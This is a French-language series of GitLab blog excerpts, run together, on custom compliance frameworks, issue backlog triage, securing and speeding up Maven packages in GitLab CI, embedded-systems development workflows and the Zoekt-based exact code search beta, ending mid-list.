Une conformité intégrée à la vitesse du développement

Contrairement aux outils GRC traditionnels qui fonctionnent de manière isolée, GitLab applique la conformité directement dans les pipelines CI/CD. Cette intégration signifie que la validation de la conformité se produit automatiquement lorsque le code progresse dans le pipeline, éliminant la friction traditionnelle entre la rapidité de développement et les exigences de sécurité.

Voici un exemple de création d’un framework de conformité personnalisé dans GitLab :

Ce qu'il faut savoir sur le déploiement des frameworks de conformité personnalisés

Cette version comporte deux aspects critiques :

• À partir de GitLab 18.0, les frameworks de conformité personnalisés seront activés par défaut.
• Depuis GitLab 18.0, nous avons activé les frameworks de conformité personnalisés par défaut. Nous avons également supprimé les « Normes » du Centre de conformité pour simplifier l'expérience. Mais ne vous inquiétez pas, vos contrôles de conformité existants s'appliquent toujours. Nous avons converti les normes GitLab Standard et SOC 2 en labels de framework de conformité et transformé leurs vérifications de conformité en contrôles (notre nouveau terme à l'avenir).
• Seuls les clients GitLab Ultimate peuvent définir des exigences, mapper des contrôles et appliquer des frameworks de conformité. Les utilisateurs de GitLab Premium peuvent toujours utiliser des labels de conformité, mais ils n'auront pas accès à l'ensemble des fonctionnalités.

Pour en savoir plus sur les frameworks de conformité personnalisés, découvrez cette vidéo d'introduction :

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/yfJ0oHCIn-8?si=z_Rt_ikry4RhjEAC" frameborder="0" allowfullscreen="true"> </iframe> </figure>

<!-- blank line -->

Déplacez la conformité en amont avec GitLab

Similaire à la sécurité, déplacer la conformité en amont signifie aborder les exigences de conformité plus tôt dans le cycle de vie du développement logiciel. Étant donné que les logiciels sont essentiels à la conformité d'une entreprise, l'intégration de contrôles là où les logiciels sont créés est cruciale. Avec GitLab, les équipes de sécurité et de conformité peuvent définir des frameworks, mapper des contrôles et automatiser l'application directement dans les pipelines CI/CD. Les équipes de développement restent concentrées sur la livraison de fonctionnalités, tandis que les équipes de conformité bénéficient d'une visibilité en temps réel et d'une collecte automatisée de preuves pour être prêtes pour l'audit. Cette approche unifiée comble le fossé entre le développement et la conformité, aidant les entreprises à atteindre une conformité continue dans le cadre de leur pratique DevSecOps.

En conséquence, les entreprises utilisant GitLab peuvent réduire de 90 % le temps passé par les équipes de développement sur les tâches d'audit et de conformité, et accélérer les audits externes de plusieurs semaines à moins d'une semaine, selon Forrester.

Si vous êtes déjà un client GitLab Ultimate et que vous souhaitez en savoir plus sur la façon dont les frameworks de conformité personnalisés peuvent contribuer à améliorer votre programme de conformité et de sécurité, consultez notre documentation du Centre de conformité où nous couvrons les exigences de mise en œuvre, les cas d'utilisation et plus encore.

Note : « Total Economic Impact™ » sur GitLab Ultimate est une étude réalisée par Forrester Consulting en 2024 pour le compte de GitLab. Les résultats sont basés sur une organisation composite représentative des clients interrogés.

Les équipes chargées du produit et de l'ingénierie de GitLab ont récemment lancé une initiative pour traiter ce backlog et affiner notre approche de la gestion des tickets.

Les tickets avec un engagement communautaire continu, une activité récente ou un alignement stratégique clair resteront ouverts. Nous fermerons les tickets qui ne sont plus pertinents, qui manquent d'intérêt ou qui ne correspondent plus à notre direction produit.

Cette approche ciblée conduira à une innovation accrue, à une meilleure définition des attentes et à des cycles de développement et de livraison plus rapides pour les fonctionnalités proposées par la communauté.

Présentation de l'initiative

Au fil du temps, la communauté GitLab a soumis des dizaines de milliers de tickets, incluant des bogues, des demandes de fonctionnalités et des retours. Actuellement, notre système principal de suivi des tickets contient plus de 65 000 tickets. Certains ne sont plus applicables à la plateforme, tandis que d'autres restent toujours pertinents.

Avec cette initiative, nos équipes chargées du produit et de l'ingénierie pourront réduire le backlog et établir un workflow afin de mettre en œuvre une approche plus ciblée de la gestion du backlog. Elles effectueront des évaluations hebdomadaires du backlog pour s'assurer que nous priorisons les tickets qui s'alignent avec notre stratégie produit et notre roadmap.

Remarque : Si vous pensez qu’un ticket fermé s'aligne avec la stratégie produit et la roadmap de GitLab, ou si vous contribuez activement à cette demande, nous vous encourageons à commenter le ticket. Nous nous engageons à examiner ces tickets mis à jour dans le cadre de nos efforts d'évaluation réguliers.

Quels sont les avantages ?

Cette approche rationalisée apporte des améliorations directes et concrètes pour chaque utilisateur de GitLab :

• Un focus plus précis et une livraison plus rapide : en recentrant notre backlog sur des fonctionnalités stratégiquement alignées, nous pouvons allouer nos ressources de développement plus efficacement. Cela signifie que vous pouvez vous attendre à des cycles de développement plus courts et à des améliorations plus significatives de votre expérience GitLab.
• Des attentes plus claires : nous nous engageons à communiquer de manière transparente sur ce qui figure ou non dans notre roadmap, afin que vous puissiez prendre des décisions éclairées concernant vos workflows et vos contributions.
• Des boucles de rétroaction accélérées : avec un backlog épuré, les nouveaux retours et demandes de fonctionnalités seront examinés et priorisés plus efficacement, réduisant le temps global de triage et garantissant que les tickets urgents reçoivent l'attention nécessaire. Cela crée une boucle de rétroaction plus réactive pour tous.

Cette initiative ne diminue pas l'importance des retours et des contributions de la communauté. Nous prenons cette mesure pour clarifier ce que les membres de l'équipe GitLab peuvent réellement s'engager à livrer, et pour garantir que tous les retours reçoivent la considération appropriée.

Perspectives d'avenir

Cette initiative reflète notre engagement à être des gestionnaires transparents et efficaces de la plateforme GitLab. En communiquant clairement nos priorités et en concentrant nos efforts sur ce que nous pouvons réellement livrer au cours de l'année à venir, nous sommes mieux positionnés pour répondre et dépasser vos attentes.

Votre participation et vos retours continus contribuent à renforcer GitLab. Chaque commentaire, merge request, rapport de bogue et suggestion de fonctionnalité contribue à notre vision commune. Et nous continuons à vous récompenser pour cela, avec des initiatives comme notre programme mensuel Notable Contributor, des récompenses, et plus encore, via notre portail dédié aux contributeurs.

Pour en savoir plus sur comment contribuer à GitLab, consultez notre page Communauté. Pour partager vos retours sur cette initiative, veuillez ajouter vos commentaires sur ce ticket.

Sécurisation de votre dépôt Maven : une approche globale

La sécurisation de votre chaîne d'approvisionnement logicielle est une priorité absolue. Voici les stratégies essentielles pour renforcer la sécurité de vos paquets Maven dans GitLab.

Mettre en œuvre un système d'authentification forte

Jetons d'accès personnels (PAT) : privilégiez les PAT pour un contrôle d'accès affiné.

Par exemple :

mvn deploy -s settings.xml

Avec la configuration suivante dans settings.xml :

<settings>
  <servers>
    <server>
      <id>gitlab-maven</id>
      <configuration>
        <httpHeaders>
          <property>
            <name>Private-Token</name>
            <value>${env.GITLAB_PERSONAL_TOKEN}</value>
          </property>
        </httpHeaders>
      </configuration>
    </server>
  </servers>
</settings>

Tokens de déploiement : adaptés pour les pipelines CI/CD. Générez-les dans les paramètres de votre projet GitLab et intégrez-les dans votre fichier .gitlab-ci.yml.

deploy:
  script:
    - 'mvn deploy -s ci_settings.xml'
  variables:
    MAVEN_CLI_OPTS: "-s ci_settings.xml --batch-mode"
    MAVEN_OPTS: "-Dmaven.repo.local=.m2/repository"
  only:
    - main

Voici le fichier ci_settings.xml correspondant :

<settings xmlns="http://maven.apache.org/SETTINGS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.1.0 http://maven.apache.org/xsd/settings-1.1.0.xsd">
  <servers>
    <server>
      <id>gitlab-maven</id>
      <configuration>
        <httpHeaders>
          <property>
            <name>Deploy-Token</name>
            <value>${env.CI_DEPLOY_PASSWORD}</value>
          </property>
        </httpHeaders>
      </configuration>
    </server>
  </servers>
</settings>

Remarques :

• La variable CI_DEPLOY_PASSWORD doit être configurée comme une variable CI/CD dans les paramètres de votre projet GitLab et contenir le token de déploiement.
• L'élément <id> doit correspondre à l'ID du dépôt tel qu'il est défini dans le fichier pom.xml de votre projet.

Rotation des tokens : automatisez la stratégie de rotation des tokens à l'aide de l'API GitLab. Par exemple, vous pouvez planifier un pipeline mensuel qui regénère et met à jour vos tokens :

rotate_tokens:
  script:
    - curl --request POST "https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/deploy_tokens" --header "PRIVATE-TOKEN: ${ADMIN_TOKEN}" --form "name=maven-deploy-${CI_PIPELINE_ID}" --form "scopes[]=read_registry" --form "scopes[]=write_registry"
  only:
    - schedules

Tirer parti des fonctionnalités de sécurité intégrées de GitLab

Analyse des dépendances : activez-la dans votre fichier .gitlab-ci.yml.

include:
  - template: Security/Dependency-Scanning.gitlab-ci.yml

variables:
  DS_JAVA_VERSION: 11

Analyse des conteneurs : si vous conteneurisez vos applications Maven.

include:
  - template: Security/Container-Scanning.gitlab-ci.yml

variables:
  CS_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA

Conformité des licences : assurez-vous que toutes les dépendances respectent les licences autorisées dans votre projet.

include:
  - template: Security/License-Scanning.gitlab-ci.yml

Sécuriser votre pipeline CI/CD

• Variables CI/CD : stockez toutes les informations contenant des données sensibles en toute sécurité.

  variables:
    MAVEN_REPO_USER: ${CI_DEPLOY_USER}
    MAVEN_REPO_PASS: ${CI_DEPLOY_PASSWORD}
  

• Variables masquées : empêchez leur affichage dans les job logs et définissez-les dans vos paramètres GitLab CI/CD.

• Branches et tags protégés : configurez-les dans les paramètres de votre projet GitLab pour restreindre les droits de publication des packages Maven aux utilisateurs autorisés.

Mettre en œuvre la signature de vos paquets

• Utilisez le plug-in Maven GPG pour signer vos artefacts.

  <plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-gpg-plugin</artifactId>
    <version>1.6</version>
    <executions>
      <execution>
        <id>sign-artifacts</id>
        <phase>verify</phase>
        <goals>
          <goal>sign</goal>
        </goals>
      </execution>
    </executions>
  </plugin>
  

• Stockez votre clé GPG dans des variables GitLab CI/CD sécurisées.

Contrôler les accès au registre de paquets

• Configurez les paramètres du registre de paquets au niveau du projet et du groupe dans GitLab afin de restreindre les accès aux seuls utilisateurs autorisés.
• Activez les listes d'autorisation d'IP au niveau du réseau dans les paramètres de votre instance GitLab pour restreindre l'accès réseau aux adresses approuvées.

Optimisation des performances : fluidifiez votre workflow Maven

La gestion de projets complexes ou de nombreuses dépendances exige une productivité maximale. Découvrez ci-dessous des techniques avancées pour tirer le meilleur parti de vos paquets Maven dans GitLab et accélérer vos compilations.

Maîtriser la gestion des dépendances

• Centralisez vos versions dans la section <dependencyManagement> de votre fichier POM parent.

  <dependencyManagement>
    <dependencies>
      <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-dependencies</artifactId>
        <version>${spring-boot.version}</version>
        <type>pom</type>
        <scope>import</scope>
      </dependency>
    </dependencies>
  </dependencyManagement>
  

Tirer parti des projets multi-modules

• Structurez votre projet avec un POM parent et plusieurs modules enfants :

  my-project/
  ├── pom.xml
  ├── module1/
  │   └── pom.xml
  ├── module2/
  │   └── pom.xml
  └── module3/
      └── pom.xml
  

• Utilisez le réacteur Maven pour compiler les modules dans un ordre optimal :

  mvn clean install
  

Mettre en œuvre les compilations parallèles

• Utilisez la fonctionnalité de compilation parallèle de Maven :

  mvn -T 4C clean install
  

Optimiser votre pipeline CI/CD

• Configurez la mise en cache dans .gitlab-ci.yml pour accélérer les compilations :

  cache:
    paths:
      - .m2/repository
  
  build:
    script:
      - mvn clean package -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository
  

• Implémentez des compilations incrémentielles :

  build:
    script:
      - mvn clean install -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository -am -amd -fae
  

Utiliser la mise en cache des compilations

• Intégrez l'extension Gradle Enterprise de Maven pour une gestion avancée de la mise en cache des compilations :

  <build>
    <plugins>
      <plugin>
        <groupId>com.gradle</groupId>
        <artifactId>gradle-enterprise-maven-plugin</artifactId>
        <version>1.9</version>
        <configuration>
          <gradleEnterprise>
            <server>https://ge.example.com</server>
            <allowUntrusted>false</allowUntrusted>
          </gradleEnterprise>
        </configuration>
      </plugin>
    </plugins>
  </build>
  

Présentation du programme bêta du registre virtuel Maven

Nous avons le plaisir d'annoncer le lancement du programme bêta de notre nouvelle fonctionnalité : le registre virtuel Maven. Cet ajout à l'écosystème GitLab transformera la gestion des dépôts Maven au sein de vos projets.

Fonctionnalités phares du registre virtuel Maven

1. Agrégation de dépôts : combinez plusieurs dépôts Maven (internes et externes) en un seul dépôt virtuel.
2. Proxy intelligent et mise en cache : accélérez les compilations grâce à la mise en cache des artefacts et au routage intelligent des requêtes.
3. Contrôle d'accès centralisé : améliorez la sécurité en gérant l'accès à tous vos dépôts Maven depuis un seul et même endroit.

Utilisation du registre virtuel Maven

1. Configuration : configurez l'authentification Maven dans votre fichier settings.xml :

<settings>
  <servers>
    <server>
      <id>gitlab-maven</id>
      <configuration>
        <httpHeaders>
          <property>
            <name>Private-Token</name>
            <value>${env.GITLAB_TOKEN}</value>
          </property>
        </httpHeaders>
      </configuration>
    </server>
  </servers>
</settings>

Options d'authentification :

• Jeton d'accès personnel : utilisez Private-Token comme nom et ${env.GITLAB_TOKEN} comme valeur.

• Token de déploiement de groupe : utilisez Deploy-Token comme nom et ${env.GITLAB_DEPLOY_TOKEN} comme valeur.

• Token d'accès de groupe : utilisez Private-Token comme nom et ${env.GITLAB_ACCESS_TOKEN} comme valeur.

• Token de job CI : utilisez Job-Token comme nom et ${CI_JOB_TOKEN} comme valeur.

• Configurez le registre virtuel dans votre fichier pom.xml.

Option 1 : en tant que registre supplémentaire :

<repositories>
  <repository>
    <id>gitlab-maven</id>
    <url>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/<virtual registry id></url>
  </repository>
</repositories>

Option 2 : en remplacement de Maven Central (dans votre fichier settings.xml) :

<mirrors>
  <mirror>
    <id>gitlab-maven</id>
    <name>GitLab virtual registry for Maven Central</name>
    <url>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/<virtual registry id></url>
    <mirrorOf>central</mirrorOf>
  </mirror>
</mirrors>

2. Utilisation : désormais, toutes vos opérations Maven utiliseront ce dépôt virtuel.

# For personal access tokens
export GITLAB_TOKEN=your_personal_access_token

# For group deploy tokens
export GITLAB_DEPLOY_TOKEN=your_deploy_token

# For group access tokens
export GITLAB_ACCESS_TOKEN=your_access_token

# Then run Maven commands normally
mvn package

3. Avantages

• Gestion simplifiée des dépendances
• Temps de compilation réduits
• Sécurité et conformité renforcées
• Contrôle amélioré des dépendances tierces

Rejoignez le programme bêta

Nous recherchons activement des participants souhaitant tester notre version bêta :

• Accédez en avant-première à la fonctionnalité de registre virtuel Maven.
• Transmettez directement vos retours à notre équipe de développement.
• Contribuez activement à façonner l'avenir de la gestion des paquets Maven dans GitLab.
• Participez à des webinaires et sessions de questions-réponses exclusifs animés par notre équipe produit.

Pour rejoindre le programme bêta ou en savoir plus sur le registre virtuel Maven, consultez notre page dédiée au programme bêta du registre virtuel Maven de GitLab (Remarque : lien provisoire).

Résumé

Chez GitLab, nous avons à cœur de proposer des outils à la fois sécurisés, performants et évolutifs pour accompagner votre développement logiciel. Le registre virtuel Maven illustre notre volonté constante d'innover pour répondre aux besoins croissants des développeurs et ingénieurs de plateforme.

En appliquant les mesures de sécurité et les techniques d'optimisation abordées dans cet article, et en tirant parti des futures fonctionnalités telles que le registre virtuel Maven, vous renforcerez l'efficacité de votre workflow Maven dans GitLab.

Nous sommes impatients de voir comment ces nouvelles fonctionnalités de gestion des paquets dans GitLab contribueront à perfectionner vos processus de développement. Restez à l'écoute et bon codage !

Les approches traditionnelles de développement de systèmes embarqués ralentissent le travail des ingénieurs, qui peinent à gérer efficacement la complexité croissante des composants logiciels des machines modernes, notamment :

• Les goulots d'étranglement lors des tests matériels
• Les environnements de compilation incohérents
• Les pratiques de développement cloisonnées
• Les processus manuels de conformité à la sécurité fonctionnelle

Les équipes chargées de développer des systèmes embarqués doivent adopter une nouvelle approche pour faire face à l'augmentation rapide de la taille des dépôts de code.

Découvrez dans cet article quatre façons de tirer parti des capacités d'IA native de la plateforme DevSecOps de GitLab, afin de raccourcir les boucles de rétroaction, favoriser un travail collaboratif et itératif, et rationaliser la gestion de la conformité.

Défi 1 : les goulots d'étranglement lors des tests matériels

Contrairement aux logiciels d'entreprise qui peuvent s'exécuter sur pratiquement n'importe quel serveur cloud, les logiciels embarqués du secteur automobile doivent être testés sur du matériel spécialisé reproduisant fidèlement les environnements de production. Les processus de test HIL (Hardware-In-the-Loop) traditionnels suivent souvent ce workflow :

1. Un développeur écrit le code d'un système embarqué (par exemple, une unité de commande électronique).
2. Il sollicite l'accès à des bancs d'essai matériels limités et onéreux (le prix peut varier entre 500 000 $ et 10 millions de dollars chacun).
3. Il patiente plusieurs jours, voire des semaines, avant d'obtenir cet accès.
4. Puis il déploie et teste manuellement le code directement sur son poste de travail.
5. Enfin, il documente les résultats des tests, transmet le matériel à un autre membre de l'équipe de développement pour la suite du projet, et attend de pouvoir effectuer à nouveau d'autres tests matériels.

Ce processus s'avère particulièrement inefficace. Une fois leur code écrit, les développeurs de systèmes embarqués peuvent attendre plusieurs semaines avant de pouvoir le tester sur une cible matérielle. Entre temps, ils sont déjà passés à d'autres tâches, ce qui entraîne un changement de contexte préjudiciable à leur productivité. Pire encore, ils peuvent découvrir au bout de plusieurs semaines qu'une simple erreur de calcul s'est glissée dans leur code.

Solution : allocation automatisée du matériel et intégration continue

Vous pouvez rationaliser les tests matériels grâce à l'automatisation en utilisant le composant CI/CD On-Premises Device Cloud de GitLab. Ce composant permet d'automatiser l'orchestration de ressources matérielles limitées en transformant un processus manuel et fastidieux en un workflow rationalisé et continu.

Le composant On-Premises Device Cloud procède comme suit :

1. Il crée des pools de ressources matérielles partagées.
2. Il alloue automatiquement (et exclusivement) du matériel aux tâches de test matériel du pipeline d'un développeur en fonction de la disponibilité.
3. Il déploie et exécute les tests sans intervention manuelle.
4. Il collecte les résultats des tests et les partage via des pipelines CI/CD intégrés.
5. Il libère automatiquement le matériel dans le pool de ressources « disponibles ».

Une fois que vous avez soumis le code, vous recevez les résultats en quelques heures, au lieu de plusieurs jours auparavant, souvent sans jamais toucher physiquement le matériel de test.

Découvrez dans cette vidéo comment le composant CI/CD On-Premises Device Cloud de GitLab permet d'orchestrer à distance l'allocation de matériel partagé pour les tests HIL :

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/ltr2CIM9Zag?si=NOij3t1YYz4zKajC" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

Vous pouvez également adopter des stratégies de test multi-niveaux, qui offrent un compromis optimal entre rapidité d'exécution et qualité des résultats. Pour cela, intégrez les modèles et environnements de test de systèmes embarqués suivants dans vos pipelines automatisés GitLab CI :

• Software-in-the-Loop (SIL) : tests effectués sur des simulateurs de matériel virtuels pour obtenir plus rapidement les tout premiers retours sur le code.
• Processor-in-the-Loop (PIL) : tests réalisés sur un processeur proche du contexte final pour obtenir des retours sur le code plus rapidement et à moindre coût.
• Hardware-in-the-Loop (HIL) : tests sur du matériel complet équivalent à celui de l'environnement de production, utilisés comme bancs d'essai pour vérification à un stade avancé.

En automatisant l'orchestration de ces différents tests dans vos pipelines CI, vous serez en mesure d'identifier les problèmes plus tôt, d'itérer plus rapidement et d'accélérer les délais de mise sur le marché.

Défi 2 : les environnements de compilation incohérents

L'hétérogénéité des environnements de compilation constitue un problème majeur dans le développement de systèmes embarqués. Les équipes chargées de développer des systèmes embarqués exécutent souvent manuellement des compilations sur leurs machines locales avec des configurations, versions de compilateur et dépendances parfois très différentes. Elles intègrent ensuite les binaires issus de leurs compilations locales dans le code source partagé.

Cette approche entraîne plusieurs problèmes :

• Résultats incohérents : basées sur le même code source, les compilations produisent des résultats différents selon les machines utilisées.
• Syndrome du « Ça fonctionne sur ma machine » : le code compilé localement échoue dans les environnements partagés.
• Mauvaise traçabilité : piste d'audit limitée pour connaître l'auteur, la date et le motif de la compilation.
• Compartimentation des connaissances : seuls quelques experts maîtrisent le processus de compilation.

Cette approche accroît le risque d'erreurs, crée des goulots d'étranglement et peut générer des retards coûteux.

Solution : automatisation standardisée des compilations

Vous pouvez relever ces défis en mettant en œuvre une automatisation standardisée de la compilation au sein de vos pipelines CI/CD dans GitLab. Cette approche garantit des environnements de compilation cohérents, reproductibles et basés sur des conteneurs, éliminant ainsi les variations spécifiques de configuration entre les différentes machines. En combinant cette standardisation avec des scripts de provisionnement Embedded Gateway Runner spécifiques, les conteneurs peuvent s'interfacer avec le matériel pour y déployer du code et surveiller les ports dans le cadre de tests automatisés.

Voici les points clés de cette solution :

• Environnements gérés par le cycle de vie : définissez vos environnements de simulation de systèmes embarqués complexes sous forme de code, déployez-les automatiquement pour les tests, puis détruisez-les une fois les tests terminés.
• Conteneurisation : utilisez des conteneurs Docker pour garantir des environnements de compilation homogènes et reproductibles.
• Gestion automatisée des dépendances : assurez un contrôle et un versionnage rigoureux de toutes les dépendances.
• Compilations centralisée : exécutez les compilations sur une infrastructure partagée, plutôt que sur des machines locales.

Suivez ce tutoriel et découvrez comment automatiser les compilations de logiciels embarqués dans un pipeline GitLab CI.

En standardisant et en automatisant le processus de compilation, vous vous assurez que chaque compilation suit les mêmes étapes avec des dépendances identiques, produisant ainsi des résultats cohérents, quelle que soit la personne qui l'a initiée. Cette approche améliore non seulement la qualité, mais rend aussi le processus accessible à toute l'équipe, même aux membres ne possédant pas une expertise approfondie dans ce domaine.

Défi 3 : les pratiques de développement cloisonnées

Alors que les équipes de développement ont largement adopté des pratiques collaboratives telles que DevOps, en s'appuyant sur la gestion partagée du code source (SCM) et les systèmes d'intégration et de livraison continues (CI/CD), les développeurs de systèmes embarqués travaillent encore souvent seuls à leur bureau. Cette situation s'explique par plusieurs contraintes techniques légitimes.

Par exemple, la virtualisation matérielle est un pilier de l'automatisation DevOps. Toutefois, le secteur a été plus lent à virtualiser la vaste gamme de processeurs et de cartes spécialisés utilisés dans les systèmes embarqués, en grande partie en raison des difficultés liées à la virtualisation des systèmes de production en temps réel et d'un manque d'incitations économiques. Nous pouvons comparer cela à la virtualisation cloud, qui s'est largement démocratisée et a profité au développement SaaS depuis plus d'une décennie.

Aujourd'hui, de nombreux fournisseurs adoptent désormais la virtualisation afin d'accélérer le développement des systèmes embarqués. Cependant, si les équipes ne parviennent pas à adopter des options de test virtuel, l'effet de silo persistera, avec des impacts négatifs sur l'entreprise, notamment les suivants :

• Une fragmentation des connaissances : les informations critiques restent dispersées entre différents membres de l'équipe et entre différentes équipes.
• Un développement redondant : plusieurs équipes résolvent les mêmes problèmes, ce qui crée des incohérences.
• Une découverte tardive lors des intégrations massives (big-bang) : les problèmes ne sont détectés qu'aux dernières étapes du processus, lorsque plusieurs développeurs intègrent leur code en même temps, rendant la correction des erreurs plus coûteuses.
• Un ralentissement de l'innovation : les solutions développées dans un domaine ont peu d'impact sur les autres, ce qui entrave le développement de nouvelles idées de produits.

Solution : ingénierie collaborative via une plateforme unifiée

Une étape importante pour briser ces silos consiste à standardiser le développement de systèmes embarqués sur la plateforme DevSecOps unifiée de GitLab. GitLab joue un rôle central dans l’évolution des systèmes embarqués vers des plateformes consolidées et partagées, adaptées aux contraintes des appareils embarqués.

La plateforme GitLab offre notamment les avantages suivants :

• Une visibilité partagée : l'ensemble du code, des tickets et de la documentation sont accessibles à toutes les équipes.
• Des workflows collaboratifs : favorisez la revue par les pairs et le partage des connaissances par le biais de merge requests.
• Des connaissances centralisées : maintenez une source unique de vérité pour tous les artefacts de développement.
• Une collaboration asynchrone : les équipes sont en mesure de collaborer efficacement, quel que soit leur localisation ou leur fuseau horaire.

La collaboration entre les humains et les agents d'IA est un ingrédient fondamental pour stimuler les innovations orientées client, tant pour les générations nées à l'ère du numérique que pour les marques établies proposant des systèmes embarqués. GitLab facilite cette synergie en favorisant la transparence tout au long du cycle de développement, transformant ainsi le développement de systèmes embarqués en une pratique collaborative plutôt qu'une activité isolée. Les équipes de développement peuvent suivre le travail de leurs collègues, apprendre des expériences collectives et s'appuyer sur des solutions partagées.

Regardez cette présentation d'Embedded World Germany 2025 et découvrez le potentiel des équipes chargées de développer des systèmes embarqués qui collaborent et partagent leur travail en cours en temps réel. La partie démonstration (de 24:42 à 36:51) illustre comment intégrer les tests HIL dans un pipeline GitLab CI afin de favoriser un développement collaboratif efficace.

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/F_rlOyq0hzc?si=eF4alDY6HK98uZPj" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

Plus important encore, en renforçant leur collaboration grâce à l'approche DevSecOps, les équipes parviennent à concevoir des systèmes embarqués totalement novateurs. En effet, la collaboration alimente l'innovation. Par exemple, une étude a démontré que le brainstorming de groupe, lorsqu'il est correctement structuré, génère des idées plus innovantes et créatives que le travail individuel. Dans la course au développement de produits définis par logiciel, le développement collaboratif est donc un facteur clé de succès.

Défi 4 : les processus manuels de conformité à la sécurité fonctionnelle

Dans les secteurs de l'automobile et de l'aérospatiale, les systèmes embarqués doivent respecter des normes strictes de sécurité fonctionnelle, telles que les ISO 26262, MISRA C/C++, DO-178C et DO-254. Les approches traditionnelles de conformité impliquent des revues manuelles, une documentation volumineuse et plusieurs étapes de vérification tardives dans le cycle de développement. Elles créent souvent des goulots d'étranglement lors de la recherche de failles de sécurité. Par exemple, lorsque des scanners spécialisés dans la sécurité et la qualité du code des systèmes embarqués détectent des vulnérabilités, le ticket associé vient s'ajouter à la pile de tickets non résolus. Les développeurs ne peuvent pas intégrer leur code et les équipes de sécurité doivent traiter un important backlog de violations des exigences de conformité. Cette situation ralentit considérablement les délais de mise en conformité et freine l'avancement global du projet.

Voici les principaux défis à relever :

• Détection tardive des problèmes de conformité : les anomalies sont découvertes une fois le développement terminé.
• Charge de travail liée à la documentation : effort manuel important pour créer et maintenir des preuves de conformité.
• Goulots d'étranglement relatifs aux processus : étapes de conformité réalisées de manière séquentielle, qui bloquent la progression du développement.
• Dépendance à l'expertise : un nombre limité de spécialistes sont sollicités pour les activités de contrôle de la conformité.

En conséquence, les équipes doivent souvent choisir entre vélocité et conformité, un compromis risqué lorsqu'il s'agit de systèmes critiques pour la sécurité.

Solution : un workflow automatisé de contrôle de la conformité en matière de sécurité fonctionnelle

Plutôt que de traiter la sécurité et la conformité comme des étapes de vérification post-développement, vous pouvez codifier les exigences de conformité et les appliquer automatiquement via des frameworks personnalisables dans GitLab. Pour ce faire, en particulier pour les normes de sécurité fonctionnelle, vous pouvez intégrer GitLab à des outils spécialisés, capables d’analyser en profondeur les micrologiciels conformément aux normes en vigueur dans ce domaine. Parallèlement, GitLab propose des contrôles de conformité automatisés, des pistes d'audit complètes et un contrôle rigoureux des merge requests : autant de fonctionnalités essentielles pour prendre en charge un programme de conformité logicielle continue robuste.

Voici les composants de cette approche intégrée :

• Compliance-as-Code : définissez les exigences de conformité sous forme de contrôles automatisés.
• Intégration d'outils spécialisés : connectez des outils tels que CodeSonar à la plateforme DevSecOps pour valider les exigences de conformité propres au secteur automobile.
• Vérification continue de la conformité : évaluez la conformité tout au long du cycle de développement.
• Collecte automatisée des preuves : rassemblez les artefacts de conformité comme un sous-produit du développement.

Découvrez dans cette vidéo comment tirer parti des frameworks de conformité personnalisés dans GitLab afin de créer vos propres politiques de conformité adaptées aux normes en vigueur (par exemple, ISO 26262) et comment les appliquer automatiquement à vos projets dans GitLab.

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/S-FQjzSyVJw?si=0UdtGNuugLPG0SLL" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

En contrôlant la conformité en amont et en l'intégrant naturellement dans vos workflows de développement existants, vous pouvez maintenir les normes de sécurité sans compromettre la vélocité. Les contrôles automatisés détectent les problèmes à un stade précoce, lorsqu'ils sont plus faciles et moins coûteux à résoudre, tandis que la collecte continue de preuves réduit la charge de travail liée à la gestion de la documentation.

Accélérez la livraison de vos logiciels avec les systèmes embarqués

Le développement de systèmes embarqués connaît une transformation rapide. Les équipes qui s'en tiennent à des processus manuels et des workflows isolés seront de plus en plus à la traîne, tandis que celles qui adoptent des pratiques automatisées et collaboratives dessineront l'avenir des systèmes intelligents définis par logiciel.

Pour vous lancer, explorez notre atelier DevOps dédié aux systèmes embarqués et commencez à automatiser vos workflows de développement de systèmes embarqués avec GitLab. Vous pouvez également regarder cette présentation par le Field Chief Cloud Architect de GitLab pour découvrir comment les entreprises leader intègrent les tests matériels dans leurs workflows d'intégration continue afin d'accélérer la livraison de leurs systèmes embarqués.

Pourquoi la recherche de code traditionnelle est-elle problématique ?

Toute personne travaillant avec du code connaît la frustration de devoir chercher du code dans plusieurs dépôts. Qu'il s'agisse de déboguer un problème, d'examiner des fichiers de configuration, de rechercher des vulnérabilités, de mettre à jour une documentation ou de vérifier la mise en œuvre d'un projet, vous savez exactement ce que vous cherchez, mais les outils de recherche traditionnels vous font régulièrement défaut.

Ces outils renvoient trop souvent des dizaines de faux positifs, manquent cruellement de contexte pour comprendre les résultats obtenus et sont de plus en plus lents à mesure que le code source s’étoffe. Par conséquent, vous perdez un temps précieux à chercher une aiguille dans une botte de foin au lieu de compiler, de sécuriser ou d'améliorer votre logiciel.

La fonctionnalité de recherche de code de GitLab était jusqu'ici prise en charge par Elasticsearch ou OpenSearch. Bien qu'excellents pour rechercher des tickets, des merge requests, des commentaires et d'autres données contenant du langage naturel, ces outils n'ont tout simplement pas été spécifiquement conçus pour le code. Après avoir évalué de nombreuses options, nous avons développé une meilleure solution.

Qu'est-ce que la recherche exacte de code ?

La recherche exacte de code de GitLab est actuellement en phase de test bêta et optimisée par Zoekt (prononcé « zookt », qui signifie « recherche » en néerlandais). Zoekt est un moteur de recherche de code open source initialement développé par Google et aujourd'hui maintenu par Sourcegraph. Conçu spécifiquement pour une recherche de code à la fois rapide et précise à grande échelle, nous l'avons enrichi avec des intégrations propres à GitLab, des améliorations avancées et une intégration facilitée du système d'autorisations.

Cette fonctionnalité révolutionne la manière dont vous recherchez et comprenez le code grâce aux trois éléments clés :

1. Un mode de recherche par correspondance exacte

